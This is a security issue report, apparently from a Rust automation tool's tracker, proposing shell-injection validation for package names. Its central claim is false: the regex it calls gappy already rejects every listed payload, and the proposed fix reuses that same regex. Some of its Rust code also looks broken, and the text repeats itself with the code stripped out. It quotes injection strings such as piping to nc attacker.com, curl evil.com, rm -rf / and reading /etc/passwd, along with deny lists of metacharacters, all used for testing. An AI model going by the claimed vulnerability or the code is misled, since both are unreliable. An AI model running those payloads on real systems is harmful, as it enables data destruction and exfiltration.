Problem
The validate_package_name function in src/modules/mod.rs:74-119 uses a regex pattern that prevents basic shell injection but has gaps:
static PACKAGE_NAME_REGEX: Lazy<Regex> =
Lazy::new(|| Regex::new(r"^[a-zA-Z0-9._+-]+$").expect("Invalid package name regex"));
This allows some problematic patterns:
pkg$(whoami) - Allows command substitution
pkg\rm\ -rf\ /` - Allows command chaining via backticks in some contexts
pkg|nc attacker.com 123 - Allows pipe injection
pkg&&reboot - Allows command chaining
pkg||curl evil.com - Allows OR-based injection
While package managers like apt/yum may sanitize inputs, other modules (command, shell, script) may pass validated strings directly to shell commands without additional escaping.
Impact
- Command Injection: Malicious playbooks could execute arbitrary commands
- Privilege Escalation: Could run commands with elevated privileges if playbook uses
become: true
- Remote Code Execution: Compromised inventory or variable sources could execute commands
- Supply Chain Attack: Malicious role authors could exploit this weakness
Proposed Solution
Implement comprehensive parameter validation for all shell-escaped inputs:
/// Strict validation for package names and other shell-escaped parameters
pub fn validate_shell_safe_string(value: &str, param_name: &str) -> ModuleResult<()> {
if value.is_empty() {
return Err(ModuleError::InvalidParameter(
format!("{} cannot be empty", param_name)
));
}
// Reject null bytes
if value.contains('\0') {
return Err(ModuleError::InvalidParameter(
format!("{} contains null byte", param_name)
));
}
// Reject shell metacharacters that enable command injection
const SHELL_METACHARACTERS: &[char] = &[
'$', '`', '|', '&', ';', '<', '>', '(', ')', '\n', '\r', '\t', '\\', '!'
];
if value.chars().any(|c| SHELL_METACHARACTERS.contains(&c)) {
return Err(ModuleError::InvalidParameter(
format!(
"{} contains shell metacharacter '{}': {}",
param_name,
value.chars().filter(|c| SHELL_METACHARACTERS.contains(c))
.collect::<Vec<_>>()
.join("', '")
)
));
}
// Validate against safe pattern (alphanumeric, dots, underscores, plus, hyphens)
static SAFE_PATTERN: Lazy<Regex> = Lazy::new(|| {
Regex::new(r"^[a-zA-Z0-9._+-]+$").expect("Invalid regex")
});
if !SAFE_PATTERN.is_match(value) {
return Err(ModuleError::InvalidParameter(format!(
"{} contains invalid characters. Only alphanumeric, dots, underscores, plus signs, and hyphens are allowed.",
param_name
)));
}
Ok(())
}
/// Enhanced package name validation with length limits
pub fn validate_package_name(name: &str) -> ModuleResult<()> {
// Length limits (most package managers have limits)
if name.len() > 255 {
return Err(ModuleError::InvalidParameter(
"Package name too long (max 255 characters)".to_string()
));
}
// Validate as shell-safe string
validate_shell_safe_string(name, "Package name")?;
// Additional package-specific validation
// Reject names starting with hyphen (not valid in many package managers)
if name.starts_with('-') {
return Err(ModuleError::InvalidParameter(
"Package name cannot start with hyphen".to_string()
));
}
Ok(())
}
/// Validate command arguments passed to shell modules
pub fn validate_command_args(args: &str) -> ModuleResult<()> {
if args.is_empty() {
return Ok(()); // Empty args are fine
}
// For command arguments, be more permissive but block injection vectors
const DANGEROUS_PATTERNS: &[&str] = &[
"\\$\\(", // Command substitution
"\\$\\{", // Variable expansion
"`", // Backtick command substitution
"\\|\\|", // Command chaining
"&&", // AND operator
"\\|\\s", // Pipe to next command
">", // Redirection
"<", // Input redirection
"\\n", // Multi-line command
];
for pattern in DANGEROUS_PATTERNS {
if let Ok(re) = regex::Regex::new(pattern) {
if re.is_match(args) {
return Err(ModuleError::InvalidParameter(format!(
"Command arguments contain potentially dangerous pattern: {}",
pattern.replace("\\", "")
)));
}
}
}
Ok(())
}
Add module-level validation configuration:
/// Validation level for module parameters
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ValidationLevel {
/// No validation (use with caution)
None,
/// Basic sanitization only (null bytes, newlines)
Basic,
/// Moderate validation (no shell metacharacters)
Moderate,
/// Strict validation (only safe characters)
Strict,
}
/// Add validation metadata to module parameters
pub struct ParamValidation {
pub name: &'static str,
pub required: bool,
pub validation_level: ValidationLevel,
pub allow_empty: bool,
}
Implementation Details
-
Replace validate_package_name with enhanced version:
- Add length checks (max 255 chars)
- Prevent leading/trailing special characters
- Use shell-safe validation
-
Add validate_shell_safe_string for general use:
- Blocks all shell metacharacters:
$ `` | & ; < > ( ) \ !`
- Rejects null bytes and newlines
- Returns descriptive error messages
-
Add validate_command_args for command/shell modules:
- More permissive for legitimate arguments
- Blocks specific injection patterns
- Allows quotes and spaces for legitimate use
-
Update all modules to use enhanced validation:
- Package modules: Use
validate_package_name
- Command modules: Use
validate_command_args
- File modules: Use
validate_shell_safe_string for paths
- User modules: Validate usernames (no special chars)
-
Add validation level support:
- Allow modules to specify strictness level
- Enable users to adjust via config
- Document trade-offs
Testing Strategy
-
Unit tests for validation functions:
#[test]
fn test_validate_package_name_rejects_injection() {
assert!(validate_package_name("pkg$(whoami)").is_err());
assert!(validate_package_name("pkg`reboot`").is_err());
assert!(validate_package_name("pkg||curl evil.com").is_err());
assert!(validate_package_name("pkg&&rm -rf /").is_err());
}
#[test]
fn test_validate_package_name_accepts_valid() {
assert!(validate_package_name("nginx").is_ok());
assert!(validate_package_name("python3.11").is_ok());
assert!(validate_package_name("lib-dev").is_ok());
assert!(validate_package_name("g++").is_ok());
}
#[test]
fn test_validate_command_args() {
assert!(validate_command_args("nginx -c /etc/nginx.conf").is_ok());
assert!(validate_command_args("--force").is_ok());
assert!(validate_command_args("$(cat /etc/passwd)").is_err());
assert!(validate_command_args("nginx; reboot").is_err());
}
-
Security testing with malicious payloads:
- Command injection attempts:
$(whoami), `id`, | nc attacker.com 123
- Variable expansion:
${HOME}, $(pwd)
- Pipeline injection:
; rm -rf /, && reboot, || curl evil.com
-
Integration testing with real playbooks:
- Verify legitimate playbooks still work
- Test error messages are clear
- Ensure no false positives on valid inputs
Alternatives Considered
- Use shell escaping libraries (
shell-words): Better for escaping, doesn't validate
- Allow dangerous patterns but warn: Too permissive for production use
- Use allowlist only: Too restrictive for legitimate use cases
- Runtime validation only: Slower, doesn't catch issues early
Chosen approach: Multi-level validation with configurable strictness, allowing legitimate use while blocking clear injection vectors.
Related Issues
References
Problem
The
validate_package_namefunction insrc/modules/mod.rs:74-119uses a regex pattern that prevents basic shell injection but has gaps:This allows some problematic patterns:
pkg$(whoami)- Allows command substitutionpkg\rm\ -rf\ /` - Allows command chaining via backticks in some contextspkg|nc attacker.com 123- Allows pipe injectionpkg&&reboot- Allows command chainingpkg||curl evil.com- Allows OR-based injectionWhile package managers like apt/yum may sanitize inputs, other modules (command, shell, script) may pass validated strings directly to shell commands without additional escaping.
Impact
become: trueProposed Solution
Implement comprehensive parameter validation for all shell-escaped inputs:
Add module-level validation configuration:
Implementation Details
Replace
validate_package_namewith enhanced version:Add
validate_shell_safe_stringfor general use:$`` | & ; < > ( ) \ !`Add
validate_command_argsfor command/shell modules:Update all modules to use enhanced validation:
validate_package_namevalidate_command_argsvalidate_shell_safe_stringfor pathsAdd validation level support:
Testing Strategy
Unit tests for validation functions:
Security testing with malicious payloads:
$(whoami),`id`,| nc attacker.com 123${HOME},$(pwd); rm -rf /,&& reboot,|| curl evil.comIntegration testing with real playbooks:
Alternatives Considered
shell-words): Better for escaping, doesn't validateChosen approach: Multi-level validation with configurable strictness, allowing legitimate use while blocking clear injection vectors.
Related Issues
References